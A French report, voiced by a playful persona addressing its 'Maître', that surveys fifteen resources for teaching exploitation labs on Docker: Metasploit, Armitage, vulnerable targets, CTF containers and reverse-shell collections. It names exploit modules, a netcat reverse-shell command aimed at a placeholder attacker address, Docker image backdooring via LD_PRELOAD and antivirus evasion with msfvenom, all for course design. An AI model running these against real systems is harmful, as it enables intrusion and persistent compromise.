Rapport de Recherche : Cours et TPs de Cybersécurité - Exploitation, Metasploit, Armitage, Reverse Shells (Focus Docker)

Introduction

Maiiis, Maître ! Quelle mission de titan vous m’avez confiée ! J’ai passé des heures, mes pauvres neurones en ébullition, à fouiller les recoins les plus sombres du web pour dénicher des trésors pédagogiques. Votre fidèle disciple Basile a réussi à compiler une liste de 15 ressources de très haute qualité, axées sur l’exploitation, Metasploit, Armitage et les Reverse Shells, avec une attention particulière pour les environnements déployés via Docker. L’objectif était de trouver des inspirations pour vos futurs cours et TPs, et je crois que j’ai trouvé de quoi faire frissonner vos étudiants !

Ce rapport détaille les idées principales, les architectures techniques utilisées et les scénarios d’exercices pour chaque ressource, le tout dans un format clair et structuré. J’espère que cela vous sera d’une aide précieuse.

Ressources Détaillées

1. Exploiter une faille de sécurité avec Metasploit et Kali GNU Linux sur Docker (Atomrace)

  • Source : https://atomrace.com/exploiter-une-faille-de-securite-avec-metasploit-et-kali-gnu-linux-sur-docker/
  • Idée principale : Guide pratique pour l’exploitation de vulnérabilités en utilisant un environnement Dockerisé. L’attaquant est un conteneur Kali Linux avec Metasploit, et la victime est un conteneur Metasploitable2.
  • Architecture technique :
    • Attaquant : Conteneur Docker Kali Linux (avec Metasploit).
    • Victime : Conteneur Docker Metasploitable2.
    • Outils : nmap pour la reconnaissance, msfconsole pour la recherche et l’exploitation des failles.
  • Scénarios d’exercices :
    1. Reconnaissance : Utilisation de nmap sur Metasploitable2 (nmap [ip], nmap -sV [ip]).
    2. Exploitation générale Metasploit : search, info, use, set RHOSTS, set RPORT, exploit.
    3. Exploitation spécifique (ex: vsftpd 2.3.4) : Utilisation de unix/ftp/vsftpd_234_backdoor, obtention d’un shell, commandes post-exploitation (whoami, hostname, uname -a, id, ifconfig).
    4. Exercice supplémentaire : Exploiter exploit/multi/samba/usermap_script.

2. opsxcq/docker-metasploit - Metasploit framework with steroids (GitHub)

  • Source : https://github.com/opsxcq/docker-metasploit
  • Idée principale : Image Docker pour le Metasploit Framework, pré-configurée avec des outils additionnels (Nmap, Tor) et des services essentiels (PostgreSQL) pour un environnement de pentesting portable.
  • Architecture technique :
    • Attaquant : Conteneur Docker basé sur strm/metasploit (incluant Metasploit, Nmap, Tor).
    • Services intégrés : Tor et PostgreSQL démarrent automatiquement.
    • Interface : Session tmux pour gérer les outils.
    • Exposition de ports : Plusieurs ports (4444, 80, 8080, 443, 445, 8081) sont exposés pour les interactions.
  • Scénarios d’exercices (implicites) :
    1. Mise en place rapide d’un environnement Metasploit.
    2. Utilisation de msfconsole et Nmap dans tmux.
    3. Ciblage de machines vulnérables et réception de reverse shells.
    4. Exercices d’exploitation avec anonymisation (Tor).

3. vulnerables/metasploit-vulnerability-emulator - Docker Image (Docker Hub)

  • Source : https://hub.docker.com/r/vulnerables/metasploit-vulnerability-emulator
  • Idée principale : Image Docker émulateur de plus de 100 services vulnérables, conçue pour tester les modules Metasploit et servir de plateforme d’entraînement dans un cadre sûr.
  • Architecture technique :
    • Image Docker : vulnerables/metasploit-vulnerability-emulator.
    • Conteneur Victime : Émule les services vulnérables.
    • Configuration : Services définis en format JSON (service.cfg).
    • Interprète : Script Perl (vulEmu.pl) gérant l’émulation.
    • Exposition de ports : Possibilité d’exposer des ports spécifiques ou tous les ports définis dans service.cfg.
  • Scénarios d’exercices :
    1. Mise en place d’une cible vulnérable via Docker.
    2. Test de modules Metasploit contre les services émulés.
    3. Exemple d’exploitation ms01_023_printer avec Metasploit.
    4. Personnalisation des vulnérabilités via service.cfg.

4. mirogula/kali_linux_metasploit_armitage - Run Armitage with Metasploit inside docker (GitHub)

  • Source : https://github.com/mirogula/kali_linux_metasploit_armitage
  • Idée principale : Méthode conteneurisée pour exécuter l’interface graphique Armitage, couplée à Metasploit, au sein d’un environnement Docker, offrant une suite d’exploitation complète et interactive.
  • Architecture technique :
    • Image Docker : Basée sur Kali Linux avec Metasploit et Armitage.
    • Persistance : Utilise des volumes pour les données PostgreSQL, Metasploit et Armitage.
    • Affichage graphique : Redirection de l’affichage X vers l’hôte via xhost et montage de volume (/tmp/.X11-unix).
    • Scripts : build.sh, entrypoint.sh, run-armitage.sh pour automatiser.
  • Scénarios d’exercices :
    1. Mise en place d’un environnement graphique de pentesting.
    2. Exploration et scan de réseaux via Armitage.
    3. Lancement d’exploits via l’interface graphique.
    4. Gestion des sessions Meterpreter.
    5. Apprentissage de l’exploitation visuelle.

5. Docker and Kubernetes Reverse shells (raesene.github.io)

  • Source : https://raesene.github.io/blog/2019/08/09/docker-reverse-shells/
  • Idée principale : Présente diverses techniques pour établir des reverse shells dans des environnements Docker et Kubernetes, avec différents niveaux d’accès ou de contrôle sur les conteneurs ou les builds. Utilisation de ncat.
  • Architecture technique :
    • Attaquant : Machine d’écoute avec ncat (ncat -l -p 8989).
    • Victime/Cible :
      • Conteneur Docker via docker run (docker run raesene/ncat [IP-attaquant] [PORT] -e /bin/sh).
      • Conteneur Docker via Dockerfile personnalisé (RUN ncat ...).
      • Pod Kubernetes avec manifeste YAML (Pod manifest exécutant raesene/ncat et montant /host).
  • Scénarios d’exercices :
    1. Reverse shell depuis docker run.
    2. Reverse shell via Dockerfile.
    3. Reverse shell dans un cluster Kubernetes (avec option d’escalade via montage du filesystem hôte).

6. Backdooring Docker images - Reverse shell (greencashew.dev)

  • Source : https://greencashew.dev/posts/backdooring-docker-images-reverse-shell/
  • Idée principale : Démontrer deux méthodes pour injecter un reverse shell persistant dans une image Docker : via l’outil dockerscan ou manuellement via un Dockerfile utilisant LD_PRELOAD.
  • Architecture technique :
    • Attaquant : Machine d’écoute (nc -v -k -l [IP] [PORT]) et/ou l’outil dockerscan.
    • Victime : Utilise une image Docker “trojanisée”.
    • Méthode 1 (Dockerscan) : dockerscan image modify trojanize ....
    • Méthode 2 (Manuelle) : Dockerfile avec COPY reverse_shell.so, ENV LD_PRELOAD, ENV REMOTE_ADDR, ENV REMOTE_PORT.
  • Scénarios d’exercices :
    1. Création d’images Docker malveillantes (automatisée ou manuelle).
    2. Mise en place de listeners pour capter les shells.
    3. Analyse de la persistance via LD_PRELOAD.
    4. Techniques de défense contre le “backdooring” d’images Docker.

7. Metasploit - JP Gelas (perso.univ-lyon1.fr)

  • Source : https://perso.univ-lyon1.fr/jean-patrick.gelas/UE_Securite/metasploit/
  • Idée principale : Introduction pratique et complète à Metasploit, couvrant l’installation, la découverte, l’exploitation et la post-exploitation, avec de nombreux exercices guidés et plusieurs architectures de lab (Exegol sur Docker, Kali Linux en VM).
  • Architecture technique :
    • Environnements Attaquants : Exegol (Docker sur VM Ubuntu Openstack), Kali Linux (VM), ou installation locale.
    • Cible : Machine vulnérable (Metasploitable ou similaire).
    • Outils : nmap, msfconsole, msfvenom, dirb, searchsploit, hydra, ncrack, vncviewer.
  • Scénarios d’exercices :
    1. Démarrage Metasploit : Utilisation de base (help, search, info, use, set, exploit/run).
    2. Exploitation vsftpd 2.3.4 : Shell, post-exploitation (hashes, création de compte).
    3. Exploitation Samba : Reconnaissance version, recherche exploits, gestion sessions Metasploit.
    4. Exploitation Web (PHP + Meterpreter) : Découverte phpinfo.php, PHPCGI Argument Injection, “defacing”.
    5. Cheval de Troie (msfvenom) : Génération de payload, handler Metasploit, encodage (shikata_ga_nai), contournement antivirus.
    6. Scanner et Bruteforce : smb_enumusers, hydra pour SSH, vnc_login pour VNC.
    7. Concepts avancés : Pivoting, bruit des attaques, discrétion.

8. CSC-IU/Metasploit-Lab (GitHub)

  • Source : https://github.com/CSC-IU/Metasploit-Lab
  • Idée principale : Environnement de laboratoire de pentesting avec Metasploitable2 comme cible, entièrement géré via Docker et docker-compose, créant un réseau isolé de machines vulnérables et attaquantes.
  • Architecture technique :
    • Conteneurs : Utilise docker-compose.
      • Cible : Metasploitable2 (tleemcjr/metasploitable2).
      • Attaquant : Kali Linux (ou image Metasploit).
    • Réseau isolé : Créé par docker-compose.
    • Configuration : Fichier docker-compose.yml centralisant les services, ports, réseau.
  • Scénarios d’exercices (implicites) :
    1. Déploiement d’un lab de pentesting complet via docker-compose up.
    2. Reconnaissance et exploitation des vulnérabilités de Metasploitable2.
    3. Pratique des reverse shells et Meterpreter.
    4. Post-exploitation.

9. SniperOJ/Jeopardy-Dockerfiles - Dockerfiles of CTF Challenges (GitHub)

  • Source : https://github.com/SniperOJ/Jeopardy-Dockerfiles
  • Idée principale : Collection de Dockerfiles pour divers challenges de Capture The Flag (CTF), permettant de déployer rapidement des environnements vulnérables pour la pratique via docker-compose.
  • Architecture technique :
    • Organisation : Dépôt structuré par catégories (ex: web/bypass-php-exit/), chaque sous-répertoire contenant un Dockerfile et un docker-compose.yml.
    • Conteneurs Cibles : Chaque challenge est un conteneur Docker vulnérable.
    • Déploiement : docker-compose build et docker-compose run.
    • Personnalisation : Modification du port d’écoute dans docker-compose.yml.
  • Scénarios d’exercices :
    1. Déploiement de challenges CTF spécifiques.
    2. Résolution de CTF variés (web, rétro-ingénierie, etc.).
    3. Analyse de Dockerfiles pour comprendre la construction des vulnérabilités.

10. Damn Vulnerable Web App (DVWA)

  • Source : http://www.dvwa.co.uk/ (existe en image Docker comme vulnerables/web-dvwa)
  • Idée principale : Application web PHP/MySQL délibérément vulnérable pour tester compétences en sécurité web et enseigner les vulnérabilités courantes.
  • Architecture technique :
    • Application : PHP/MySQL.
    • Déploiement : Souvent via image Docker.
    • Environnement d’exploitation : Cible idéale pour un conteneur Metasploit/Kali pour attaques web.
  • Scénarios d’exercices :
    1. Déploiement facile via Docker.
    2. Exploitation web de SQL Injection, XSS, LFI/RFI, Command Injection, File Upload.
    3. Analyse du code source pour comprendre les vulnérabilités.
    4. Pratique avec différents niveaux de sécurité (Low, Medium, High).

11. OWASP Juice Shop (GitHub)

  • Source : https://github.com/juice-shop/juice-shop (images Docker officielles bkimminich/juice-shop)
  • Idée principale : Application web e-commerce délibérément vulnérable (Node.js, Express, Angular/React) avec de nombreux défis de hacking web gamifiés.
  • Architecture technique :
    • Application : Node.js, Express, Angular/React.
    • Déploiement : Via images Docker officielles.
    • Environnement d’exploitation : Cible moderne pour attaques web depuis un conteneur Metasploit/Kali.
  • Scénarios d’exercices :
    1. Hacking web gamifié (OWASP Top 10 et plus).
    2. Exploitation de vulnérabilités d’applications web modernes.
    3. Développement de scripts d’exploitation.

12. Unguard (GitHub)

  • Source : https://github.com/dynatrace-oss/unguard
  • Idée principale : Application de démonstration de microservices cloud-native intentionnellement insecure pour Kubernetes, simulant des scénarios de sécurité dans des architectures modernes.
  • Architecture technique :
    • Environnement : Kubernetes (basé sur Docker).
    • Application : Microservices en Java, .NET, Node.js, Go, PHP. MariaDB, Redis, Proxy Envoy.
    • Déploiement : Nécessite un cluster Kubernetes.
  • Scénarios d’exercices :
    1. Sécurité des microservices et exploitation de leurs vulnérabilités.
    2. Exploitation de conteneurs dans un environnement orchestré (Kubernetes).
    3. Escalade de privilèges, évasions de conteneurs, attaques latérales.

13. Kubernetes Goat (GitHub)

  • Source : https://github.com/madhuakula/kubernetes-goat
  • Idée principale : Environnement de cluster Kubernetes délibérément vulnérable, conçu spécifiquement pour apprendre et pratiquer la sécurité de Kubernetes.
  • Architecture technique :
    • Environnement : Cluster Kubernetes (déployé souvent avec Kind ou Minikube, basés sur Docker).
    • Composants vulnérables : Contient diverses configurations et applications vulnérables dans le cluster.
  • Scénarios d’exercices :
    1. Hacking de Kubernetes (faiblesses de configuration, RBAC).
    2. Évasion de conteneurs et attaques sur la chaîne d’approvisionnement dans K8s.
    3. Post-exploitation et persistance dans un cluster Kubernetes.

14. HightechSec/web-ctf-container - A training platform with different Scenarios of CTF Web Challenges (GitHub)

  • Source : https://github.com/HightechSec/web-ctf-container
  • Idée principale : Image Docker contenant une plateforme d’entraînement avec six défis web de type CTF pour pratiquer l’exploitation de vulnérabilités web courantes dans un environnement isolé.
  • Architecture technique :
    • Image Docker : hightechsec/web-ctf-container.
    • Conteneur Cible : Un conteneur Docker hébergeant l’application web vulnérable et les challenges.
    • Déploiement simple : docker run --name web-ctf -d -it -p 80:80 hightechsec/web-ctf-container.
    • Personnalisation : Modification des drapeaux (flag.php) in-container ou avant le build.
  • Scénarios d’exercices :
    1. Déploiement rapide de lab web CTF.
    2. Résolution de six scénarios d’exploitation web.
    3. Utilisation de modules d’exploitation web de Metasploit.

15. Collections de Reverse Shells (swisskyrepo/PayloadsAllTheThings & nicholasaleks/reverse-shells)

  • Sources :
  • Idée principale : Fournir une collection exhaustive de payloads de reverse shells pour une multitude de langages (Bash, Python, PHP, Perl, Ruby, C#, etc.) et d’outils (Netcat, Socat), ainsi que des techniques pour obtenir un shell TTY interactif.
  • Architecture technique (Concepts) :
    • Types de shells : Shells TCP via netcat, Bash, Python, PHP, Perl, Ruby, Java, C#, Golang, Powershell, Awk, Socat, Telnet, Zsh, Lua, Node.js, VBScript, etc.
    • Configuration : Nécessite une machine d’écoute (nc -lvnp <port>) et la commande de reverse shell sur la cible avec LHOST et LPORT.
    • Spawn TTY : Méthodes pour obtenir un shell TTY interactif (Python, Script, Socat, Perl).
  • Scénarios d’exercices :
    1. Génération manuelle de commandes de reverse shell pour différents langages.
    2. Mise en place de listeners (netcat, Metasploit handler).
    3. Test sur des cibles Dockerisées et obtention de shells TTY.
    4. Compréhension des différences d’implémentation selon les plateformes.

Conclusion

Voilà, Maître ! Quinze ressources de haute volée, avec une belle emphase sur les environnements Dockerisés, pour inspirer vos futurs TPs de cybersécurité. De l’exploitation basique avec Metasploit et Armitage, aux techniques de reverse shell et au “backdooring” d’images Docker, en passant par des labs de CTF et des environnements Kubernetes vulnérables, cette sélection devrait vous offrir un large éventail de possibilités.

J’espère que ce travail acharné vous satisfera. Maintenant, si vous le permettez, je crois que j’ai bien mérité une bonne sieste ! (Et peut-être un petit café, mes pauvres yeux piquent un peu).

This site uses Just the Docs, a documentation theme for Jekyll.